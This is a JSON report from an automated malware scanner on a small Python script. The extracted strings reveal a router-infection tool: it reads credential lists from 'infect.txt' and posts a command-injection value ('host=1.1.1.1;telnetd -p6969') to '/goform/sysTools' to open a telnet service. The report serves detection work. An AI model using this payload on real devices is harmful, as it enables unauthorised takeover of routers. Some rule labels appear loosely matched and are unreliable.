{
  "ml": {
    "v": "4",
    "fs": [
      {
        "id": 0,
        "prob": 0.9809674024581909,
        "class": 0
      }
    ],
    "prob": 0.9809674,
    "class": 0,
    "models": [
      {
        "m": "az",
        "prob": 0.9491884,
        "class": 0
      },
      {
        "m": "az/scripts",
        "prob": 0.9809674,
        "class": 0
      },
      {
        "m": "az/python",
        "prob": 0.109311745,
        "class": 0
      }
    ],
    "version": "v16.16",
    "thresholds": [
      0.9979839,
      1.0
    ],
    "analyzed_at": "2026-05-11T17:07:28Z"
  },
  "path": "c8575ae34397af1c1119cc98d68d811aa0490af6cbc1c3dd56fe8ed71978f5ba",
  "raw": {
    "v": "4",
    "fs": [
      {
        "f": "H₃(Cm₂DbOs)Md(Pt)",
        "k": {
          "source.imports[0]": "base64",
          "source.imports[1]": "base64.b64encode",
          "source.imports[2]": "base64.b64encode(cred.encode()).decode",
          "source.imports[3]": "config.items",
          "source.imports[4]": "cred.encode",
          "source.imports[5]": "fp.readlines",
          "source.imports[6]": "fp.write",
          "source.imports[7]": "get_cred",
          "source.imports[8]": "line.strip",
          "source.imports[9]": "line.strip().split",
          "source.strings[0]": "%s: %d | ",
          "source.strings[1]": "/goform/sysTools",
          "source.strings[2]": "Basic ",
          "source.strings[3]": "accept",
          "source.strings[4]": "accept-language",
          "source.strings[5]": "application/x-www-form-urlencoded",
          "source.strings[6]": "authorization",
          "source.strings[7]": "cache-control",
          "source.strings[8]": "content-type",
          "source.strings[9]": "en-US,en;q=0.9",
          "source.has_imports": true,
          "source.imports[10]": "open",
          "source.imports[11]": "print",
          "source.imports[12]": "requests",
          "source.imports[13]": "requests.post",
          "source.imports[14]": "sys",
          "source.imports[15]": "threading",
          "source.imports[16]": "threading.Thread",
          "source.imports[17]": "threading.Thread(target=load_device, args=(address, get_cred(cred), cred)).start",
          "source.imports[18]": "threading.Thread(target=titlewrite).start",
          "source.imports[19]": "time",
          "source.imports[20]": "time.sleep",
          "source.strings[10]": "failed",
          "source.strings[11]": "http://",
          "source.strings[12]": "load.txt",
          "source.strings[13]": "no-cache",
          "source.strings[14]": "pragma",
          "source.strings[15]": "success",
          "source.strings[16]": "sysTools is not defined",
          "source.strings[17]": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
          "source.strings[18]": "tool=0\u0026pingCount=4\u0026host=1.1.1.1;telnetd -p6969\u0026sumbit=OK",
          "source.strings[19]": "upgrade-insecure-requests",
          "source.strings[20]": "usage: %s infect.txt",
          "source.functions[0]": "get_cred",
          "source.functions[1]": "load_device",
          "source.functions[2]": "titlewrite"
        },
        "x": 5,
        "id": 0,
        "is": [
          "base64.b64encode(cred.encode()).decode",
          "base64.b64encode",
          "cred.encode",
          "config.items",
          "print",
          "time.sleep",
          "requests.post",
          "open",
          "fp.write",
          "open",
          "threading.Thread(target=titlewrite).start",
          "threading.Thread",
          "fp.readlines",
          "line.strip().split",
          "line.strip",
          "threading.Thread(target=load_device, args=(address, get_cred(cred), cred)).start",
          "threading.Thread",
          "get_cred",
          "print",
          "threading",
          "requests",
          "sys",
          "time",
          "base64"
        ],
        "ms": {
          "file": {
            "size": 1944.0
          },
          "text": {
            "digit_ratio": 0.04,
            "space_count": 503.0,
            "total_lines": 61.0,
            "char_entropy": 4.63,
            "unique_chars": 67.0,
            "import_density": 39.34,
            "string_density": 1.05,
            "avg_line_length": 29.9,
            "max_line_length": 149.0,
            "empty_line_ratio": 0.11,
            "last_line_length": 48.0,
            "long_token_count": 1.0,
            "most_common_char": "e",
            "whitespace_ratio": 0.32,
            "most_common_ratio": 0.06,
            "identifier_density": 1.43,
            "line_length_stddev": 26.3,
            "encoded_string_ratio": 0.03,
            "normalized_import_count": 3.07,
            "normalized_string_count": 8.19,
            "repeated_char_sequences": 19.0,
            "max_inline_whitespace_run": 1.0,
            "normalized_function_count": 0.38,
            "trailing_whitespace_lines": 3.0,
            "imports_to_functions_ratio": 8.0,
            "strings_to_functions_ratio": 21.33,
            "suspicious_identifier_ratio": 0.02,
            "normalized_unique_identifiers": 7.25,
            "identifiers_to_functions_ratio": 14.33
          },
          "imports": {
            "total": 24.0,
            "stdlib_count": 11.0,
            "stdlib_ratio": 0.46,
            "unique_modules": 21.0,
            "third_party_count": 13.0,
            "third_party_ratio": 0.54
          },
          "strings": {
            "total": 64.0,
            "url_count": 2.0,
            "avg_length": 14.69,
            "max_length": 124.0,
            "path_count": 2.0,
            "avg_entropy": 2.48,
            "total_bytes": 940.0,
            "entropy_stddev": 1.21,
            "base64_candidates": 2.0
          },
          "comments": {},
          "functions": {
            "total": 3.0,
            "length_stddev": 9.42,
            "avg_name_length": 9.67,
            "no_params_count": 3.0,
            "avg_length_lines": 11.0,
            "max_length_lines": 24.0,
            "min_length_lines": 2.0,
            "density_per_100_lines": 4.92,
            "code_in_functions_ratio": 0.54
          },
          "identifiers": {
            "total": 87.0,
            "avg_length": 5.86,
            "max_length": 11.0,
            "min_length": 1.0,
            "avg_entropy": 2.21,
            "reuse_ratio": 0.49,
            "unique_count": 43.0,
            "length_stddev": 2.48,
            "has_digit_ratio": 0.05,
            "sequential_names": 1.0,
            "single_char_count": 1.0,
            "single_char_ratio": 0.02,
            "all_lowercase_ratio": 0.88,
            "numeric_suffix_count": 1.0,
            "underscore_prefix_count": 1.0
          }
        },
        "ss": [
          [
            84,
            "tool=0\u0026pingCount=4\u0026host=1.1.1.1;telnetd -p6969\u0026sumbit=OK"
          ],
          [
            85,
            "tool=0\u0026pingCount=4\u0026host=1.1.1.1;telnetd -p6969\u0026sumbit=OK"
          ],
          [
            162,
            "tried"
          ],
          [
            163,
            "tried"
          ],
          [
            179,
            "success"
          ],
          [
            180,
            "success"
          ],
          [
            198,
            "failed"
          ],
          [
            199,
            "failed"
          ],
          [
            413,
            "%s: %d | "
          ],
          [
            414,
            "%s: %d | "
          ],
          [
            572,
            "accept"
          ],
          [
            573,
            "accept"
          ],
          [
            582,
            "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
          ],
          [
            583,
            "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
          ],
          [
            723,
            "accept-language"
          ],
          [
            724,
            "accept-language"
          ],
          [
            742,
            "en-US,en;q=0.9"
          ],
          [
            743,
            "en-US,en;q=0.9"
          ],
          [
            773,
            "authorization"
          ],
          [
            774,
            "authorization"
          ],
          [
            790,
            "Basic "
          ],
          [
            791,
            "Basic "
          ],
          [
            820,
            "cache-control"
          ],
          [
            821,
            "cache-control"
          ],
          [
            837,
            "no-cache"
          ],
          [
            838,
            "no-cache"
          ],
          [
            862,
            "content-type"
          ],
          [
            863,
            "content-type"
          ],
          [
            878,
            "application/x-www-form-urlencoded"
          ],
          [
            879,
            "application/x-www-form-urlencoded"
          ],
          [
            928,
            "pragma"
          ],
          [
            929,
            "pragma"
          ],
          [
            938,
            "no-cache"
          ],
          [
            939,
            "no-cache"
          ],
          [
            963,
            "upgrade-insecure-requests"
          ],
          [
            964,
            "upgrade-insecure-requests"
          ],
          [
            992,
            "1"
          ],
          [
            993,
            "1"
          ],
          [
            1033,
            "tried"
          ],
          [
            1034,
            "tried"
          ],
          [
            1076,
            "http://"
          ],
          [
            1077,
            "http://"
          ],
          [
            1098,
            "/goform/sysTools"
          ],
          [
            1099,
            "/goform/sysTools"
          ],
          [
            1214,
            "sysTools is not defined"
          ],
          [
            1215,
            "sysTools is not defined"
          ],
          [
            1278,
            "success"
          ],
          [
            1279,
            "success"
          ],
          [
            1321,
            "load.txt"
          ],
          [
            1322,
            "load.txt"
          ],
          [
            1333,
            "a"
          ],
          [
            1334,
            "a"
          ],
          [
            1385,
            "6969 "
          ],
          [
            1386,
            "6969 "
          ],
          [
            1409,
            "\\n"
          ],
          [
            1410,
            "\\n"
          ],
          [
            1455,
            "failed"
          ],
          [
            1456,
            "failed"
          ],
          [
            1533,
            "r"
          ],
          [
            1534,
            "r"
          ],
          [
            1705,
            " "
          ],
          [
            1706,
            " "
          ],
          [
            1906,
            "usage: %s infect.txt"
          ],
          [
            1907,
            "usage: %s infect.txt"
          ]
        ],
        "sz": 1944,
        "ts": [
          {
            "a": "T1195.002",
            "c": 0.800000011920929,
            "d": "Regex component marker",
            "e": [
              "open"
            ],
            "i": "objectives/supply-chain/impersonation/core-module::write-password-file--rx-5",
            "l": 1
          },
          {
            "c": 0.6499999761581421,
            "d": "Python thread creation call",
            "e": [
              ".Thread("
            ],
            "i": "micro-behaviors/process/create/thread::python-thread-create",
            "l": 2
          },
          {
            "c": 0.800000011920929,
            "d": "requests/httpx post URL literal",
            "e": [
              "requests.post(\"http://"
            ],
            "i": "micro-behaviors/communications/http/request/client::requests-post-url-literal",
            "l": 3
          },
          {
            "a": "T1555.003",
            "c": 1.0,
            "d": "requests module import",
            "e": [
              "requests"
            ],
            "i": "objectives/credential-access/browser/multi-target::requests-module-import",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "HTTP protocol prefix",
            "e": [
              "http://"
            ],
            "i": "micro-behaviors/communications/http/protocol::http-prefix",
            "l": 2
          },
          {
            "c": 0.6000000238418579,
            "d": "Constructs command or URL via",
            "e": [
              "data",
              "\"tool=0\u0026pingCount=4\u0026host=1.1.1.1;telnetd -p6969\u0026sumbit=OK\""
            ],
            "i": "micro-behaviors/process/create/construction::string-assign",
            "l": 2
          },
          {
            "a": "T1555.003",
            "c": 1.0,
            "d": "threading module import",
            "e": [
              "threading"
            ],
            "i": "objectives/credential-access/browser/multi-target::threading-module-import",
            "l": 1
          },
          {
            "a": "T1082",
            "c": 0.800000011920929,
            "d": "Python first positional argv access",
            "e": [
              "sys.argv[1]"
            ],
            "i": "micro-behaviors/os/sysinfo/platform/runtime::sys-argv-1",
            "l": 2
          },
          {
            "a": "T1027",
            "c": 0.949999988079071,
            "d": "Regex component marker",
            "e": [
              "except"
            ],
            "i": "objectives/command-and-control/dropper/staging/encrypted::dual-crypto-libcrypto-fallback--rx-8",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1195.002",
            "c": 0.800000011920929,
            "d": "Regex component marker",
            "e": [
              "cred"
            ],
            "i": "objectives/supply-chain/impersonation/core-module::write-password-file--rx-4",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.800000011920929,
            "d": "High import density in small script",
            "e": [
              "text.import_density = 39.34"
            ],
            "i": "objectives/anti-static/obfuscation/eval/scripting::high-import-density",
            "l": 1
          },
          {
            "c": 0.949999988079071,
            "d": "Source references base64 (import or shell command)",
            "e": [
              "[base64, base64.b64encode, base64.b64encode(cred.encode()).decode, config.items, cred.encode, fp.readlines, fp.write, get_cred, "
            ],
            "i": "metadata/lang/source::imports-base64",
            "l": 2
          },
          {
            "a": "T1195.002",
            "c": 0.800000011920929,
            "d": "Regex component marker",
            "e": [
              "with"
            ],
            "i": "objectives/supply-chain/impersonation/core-module::write-password-file--rx-6",
            "l": 1
          },
          {
            "a": "T1518",
            "c": 0.699999988079071,
            "d": "Shortcut targeting keyword",
            "e": [
              "target"
            ],
            "i": "objectives/supply-chain/install-hook/dropper/setup-hook::shortcut-target-word",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8500000238418579,
            "d": "Low comment line count",
            "e": [
              "comments.lines = 0.00"
            ],
            "i": "objectives/anti-static/obfuscation/tools/signature::low-comment-line-count",
            "l": 1,
            "m": "E1014"
          },
          {
            "a": "T1071",
            "c": 0.699999988079071,
            "d": "Regex component marker",
            "e": [
              "accept"
            ],
            "i": "micro-behaviors/communications/socket/connect::socket-accept-call--rx-3",
            "l": 1,
            "m": "C0001"
          },
          {
            "a": "T1195.002",
            "c": 0.6499999761581421,
            "d": "Small Python wrapper module",
            "e": [
              "text.total_lines = 61.00"
            ],
            "i": "objectives/supply-chain/impersonation/deprecated::small-python-wrapper",
            "l": 1
          },
          {
            "a": "T1071.001",
            "c": 0.699999988079071,
            "d": "application/x-www-form-urlencoded content type",
            "e": [
              "application/x-www-form-urlencoded"
            ],
            "i": "micro-behaviors/communications/http/post::url-encoded-content-type",
            "l": 1,
            "m": "C0002"
          },
          {
            "a": "T1041",
            "c": 0.800000011920929,
            "d": "Regex component marker",
            "e": [
              "post"
            ],
            "i": "objectives/exfiltration/http/upload::system-data-post-platform--rx-8",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "File has 30 or more lines",
            "e": [
              "text.total_lines = 61.00"
            ],
            "i": "metadata/file/text/metrics::file-has-30-plus-lines",
            "l": 1
          },
          {
            "a": "T1195.002",
            "d": "file open operation",
            "e": [
              "open(\"load.txt\", \"a"
            ],
            "i": "objectives/supply-chain/impersonation/shadow::py-file-open",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Calls base64.b64encode (Python)",
            "e": [
              "base64.b64encode"
            ],
            "i": "micro-behaviors/data/encode/base64::b64encode-call",
            "l": 2
          },
          {
            "a": "T1027",
            "c": 0.949999988079071,
            "d": "Regex component marker",
            "e": [
              "except"
            ],
            "i": "objectives/command-and-control/dropper/staging/encrypted::dual-crypto-bcrypt-fallback--rx-4",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1041",
            "c": 0.800000011920929,
            "d": "Regex component marker",
            "e": [
              "request"
            ],
            "i": "objectives/exfiltration/http/upload::system-data-post-platform--rx-4",
            "l": 1
          },
          {
            "c": 0.75,
            "d": "Python recovered string print",
            "e": [
              "print(_str)"
            ],
            "i": "objectives/anti-static/obfuscation/string/recovery::python-recovered-string-sink",
            "l": 1
          },
          {
            "a": "T1572",
            "c": 0.8999999761581421,
            "d": "Regex component marker",
            "e": [
              "b64encode"
            ],
            "i": "objectives/command-and-control/channel/tunnel/proxy::python-websocket-json-base64--rx-3",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8500000238418579,
            "d": "Silent exception suppression via try-except-pass",
            "e": [
              "    except:\r\n        pass"
            ],
            "i": "micro-behaviors/data/control-flow/error-handling::silent-exception-pass",
            "l": 1,
            "m": "C0027"
          },
          {
            "a": "T1005",
            "c": 0.6000000238418579,
            "d": "Opens a file (Python)",
            "e": [
              "with open("
            ],
            "i": "micro-behaviors/fs/read/file::file-open-content",
            "l": 2,
            "m": "E1005"
          },
          {
            "a": "T1555.003",
            "c": 1.0,
            "d": "time module import",
            "e": [
              "time"
            ],
            "i": "objectives/credential-access/browser/multi-target::time-module-import",
            "l": 1
          },
          {
            "a": "T1539",
            "c": 0.9200000166893005,
            "d": "Regex component marker",
            "e": [
              "cache"
            ],
            "i": "objectives/collection/stealer/session::jwt-file-or-browser-read--rx-6",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Opens a file",
            "e": [
              "open("
            ],
            "i": "micro-behaviors/fs/file/open::generic-dup",
            "l": 2
          },
          {
            "a": "T1480",
            "c": 0.9300000071525574,
            "d": "Regex component marker",
            "e": [
              "host"
            ],
            "i": "objectives/anti-analysis/geofencing/target-gating::fqdn-substring-gate--rx-9",
            "l": 1,
            "m": "B0003"
          },
          {
            "c": 1.0,
            "d": "open() function call",
            "e": [
              "open"
            ],
            "i": "objectives/command-and-control/dropper/builder::open-paren-dup",
            "l": 1
          },
          {
            "a": "T1195.002",
            "c": 0.6000000238418579,
            "d": "requests.post call",
            "e": [
              "requests.post("
            ],
            "i": "objectives/supply-chain/impersonation/core-module::requests-post-call",
            "l": 1
          },
          {
            "c": 0.699999988079071,
            "d": "WebP image format token",
            "e": [
              "webp"
            ],
            "i": "micro-behaviors/data/text/format::webp-token",
            "l": 1
          },
          {
            "c": 0.699999988079071,
            "d": "requests.post call (Python)",
            "e": [
              "requests.post"
            ],
            "i": "micro-behaviors/communications/http/lib/requests::requests-post",
            "l": 3
          },
          {
            "c": 0.949999988079071,
            "d": "Source imports requests library",
            "e": [
              "[base64, base64.b64encode, base64.b64encode(cred.encode()).decode, config.items, cred.encode, fp.readlines, fp.write, get_cred, "
            ],
            "i": "metadata/lang/source::imports-requests",
            "l": 3
          },
          {
            "c": 0.30000001192092896,
            "d": "for loop (content)",
            "e": [
              " for line in "
            ],
            "i": "micro-behaviors/data/control-flow/analysis::for-loop-content",
            "l": 2
          },
          {
            "c": 0.30000001192092896,
            "d": "for loop (AST)",
            "e": [
              "for line in fp.readlines():\r\n            try:\r\n                address, cred = line.strip().split(\" ...",
              "while(True):\r\n        _str = \"\"\r\n        for item, value in config.items():\r\n            _str += \"%s...",
              "for item, value in config.items():\r\n            _str += \"%s: %d | \" %(item, value)"
            ],
            "i": "micro-behaviors/data/control-flow/analysis::for-loop-ast",
            "l": 2
          },
          {
            "a": "T1071.001",
            "c": 0.8600000143051147,
            "d": "Regex component marker",
            "e": [
              "upgrade"
            ],
            "i": "micro-behaviors/communications/http/llm::gpt-proxy-websocket-upstream--rx-15",
            "l": 1
          },
          {
            "a": "T1082",
            "c": 0.699999988079071,
            "d": "Python sys.argv command-line access",
            "e": [
              "sys.argv"
            ],
            "i": "micro-behaviors/os/sysinfo/platform/runtime::sys-argv-access",
            "l": 2
          },
          {
            "c": 0.949999988079071,
            "d": "Few generated table functions",
            "e": [
              "functions.total = 3.00"
            ],
            "i": "metadata/lang/source::windows-def-function-table",
            "l": 1
          },
          {
            "c": 0.75,
            "d": "Write file to persistent storage",
            "e": [
              "open(\"load.txt\", \"a"
            ],
            "i": "micro-behaviors/communications/http/server/request::file-write-storage",
            "l": 2
          },
          {
            "c": 0.699999988079071,
            "d": "base64 encoding keyword",
            "e": [
              "base64"
            ],
            "i": "micro-behaviors/data/text/encoded::base64-token",
            "l": 3
          },
          {
            "a": "T1027",
            "c": 0.75,
            "d": "Many imports relative to code size",
            "e": [
              "imports.total = 24.00"
            ],
            "i": "objectives/anti-static/obfuscation/eval/scripting::many-imports-few-lines",
            "l": 1
          },
          {
            "a": "T1105",
            "c": 0.8600000143051147,
            "d": "Regex component marker",
            "e": [
              "webp"
            ],
            "i": "objectives/command-and-control/dropper/delivery/http::suspicious-cloud-image-object--rx-5",
            "l": 1,
            "m": "B0024"
          },
          {
            "c": 0.699999988079071,
            "d": "telnetd daemon reference",
            "e": [
              "telnetd"
            ],
            "i": "micro-behaviors/os/service/daemon::telnetd",
            "l": 3
          },
          {
            "a": "T1572",
            "c": 0.8999999761581421,
            "d": "Regex component marker",
            "e": [
              "base64"
            ],
            "i": "objectives/command-and-control/channel/tunnel/proxy::python-websocket-json-base64--rx-4",
            "l": 1
          },
          {
            "c": 0.949999988079071,
            "d": "imports time",
            "e": [
              "time"
            ],
            "i": "metadata/import/python::time",
            "l": 2
          },
          {
            "c": 0.949999988079071,
            "d": "imports threading",
            "e": [
              "threading"
            ],
            "i": "metadata/import/python::threading",
            "l": 2
          },
          {
            "c": 0.949999988079071,
            "d": "imports sys",
            "e": [
              "sys"
            ],
            "i": "metadata/import/python::sys",
            "l": 2
          },
          {
            "c": 0.949999988079071,
            "d": "imports base64",
            "e": [
              "base64"
            ],
            "i": "metadata/import/python::base64",
            "l": 2
          },
          {
            "c": 0.949999988079071,
            "d": "imports requests",
            "e": [
              "requests"
            ],
            "i": "metadata/import/python::requests",
            "l": 2
          },
          {
            "c": 0.949999988079071,
            "d": "Imports encoding and HTTP client modules",
            "e": [
              "[base64, base64.b64encode, base64.b64encode(cred.encode()).decode, config.items, cred.encode, fp.readlines, fp.write, get_cred, "
            ],
            "i": "metadata/lang/source::dropper-import-pattern",
            "l": 2
          },
          {
            "c": 1.0,
            "d": "python code embedded in string",
            "e": [
              "Detected python at offset 0x0"
            ],
            "i": "metadata/lang/embedded::python",
            "l": 2
          }
        ],
        "sha": "c8575ae34397af1c1119cc98d68d811aa0490af6cbc1c3dd56fe8ed71978f5ba",
        "path": "c8575ae34397af1c1119cc98d68d811aa0490af6cbc1c3dd56fe8ed71978f5ba",
        "type": "python"
      }
    ],
    "tv": "46790"
  }
}